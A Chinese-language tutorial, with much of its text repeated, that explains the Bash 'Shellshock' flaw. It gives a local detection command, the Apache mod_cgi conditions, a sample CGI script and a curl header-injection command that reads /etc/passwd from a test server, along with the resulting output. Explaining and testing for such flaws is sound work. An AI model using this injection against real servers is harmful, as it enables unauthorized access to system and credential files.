共计 1176 个字符,预计需要花费 3 分钟才能阅读完成。
文章目录
- 本地用户在终端可以执行以下测试方法来检测是否存在该漏洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果显示信息如下,则表示该主机存在该漏洞:
vulnerable
this is a test - 1). Linux WEB Server 提供的 CGIL 接口允许我们通过远程 HTTP 方式进行 Bash 调用
2). 客户端可以任意修改发送的 HTTP 头部的字段参数
3). Bash CGI 会将客户端发送的 HTTP 数据包的 HTTP 头部的字段作为 ENV 的参数传入环境变量的设置函数中,也就是说,Bash CGI 默认将 HTTP 头部参数作为环境变量设置源
4). Bash CGI 会返回的 HTTP 数据包中会将环境变量一并发送回客户端
我们来针对一台安装有 apache 环境的主机来进行分析,对于第一点需要我们的 apache 支持 mod_cgi 模块的调用,可以通过以下两个命令来查看是否已经开启 mod_cgi 模块:
httpd -l | grep cgi
apachectl -t -D DUMP_MODULES | grep cgi
如果输出有包含 cgi 字样的字符,那说明已经成功开启了 mod_cgi。 - 假设你配置的 cgi-bin 的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的 shell.sh 脚本:
#!/bin/bash
echo "Content-type: text/html"
echo ""#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
echo "<html>"
- 找一台能连接服务器的 Linux 机器,假设我这里主机的 IP 为:192.168.0.1,在终端输入以下命令:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo"a: $a"''http://192.168.0.1/cgi-bin/shell.sh' -I
- 类似以下输出:
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync - 要利用该漏洞获取信息,需要服务器满足第 2 节中的条件,在生产环境中一般是一些 cgi 应用型的互联网网站,且主机是类 unix 系统。
本地用户在终端可以执行以下测试方法来检测是否存在该漏 洞:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果显示信息如下,则表示该主机存在该漏洞:
vulnerable
this is a test
1). Linux WEB Server 提供的 CGIL 接口允许我们通过远程 HTTP 方式进行 Bash 调用
httpd -l | grep cgi
apachectl -t -D DUMP_MODULES | grep cgi
如果输出有包含 cgi 字样的字符,那说明已经成功开启了 mod_cgi。
假设你配置的 cgi-bin 的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的 shell.sh 脚本:
#!/bin/bash
echo "Content-type: text/html"
echo ""
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
echo "<html>"
找一台能连接服务器的 Linux 机器,假设我这里主机的 IP 为:192.168.0.1,在终端输入以下命令:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo"a: $a"''http://192.168.0.1/cgi-bin/shell.sh' -I
类似以下输出:
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync
要利用该漏洞获取信息,需要服务器满足第 2 节中的条件,在生产环境中一般是一些 cgi 应用型的互联网 网站,且主机是类 unix 系统。
(呲牙)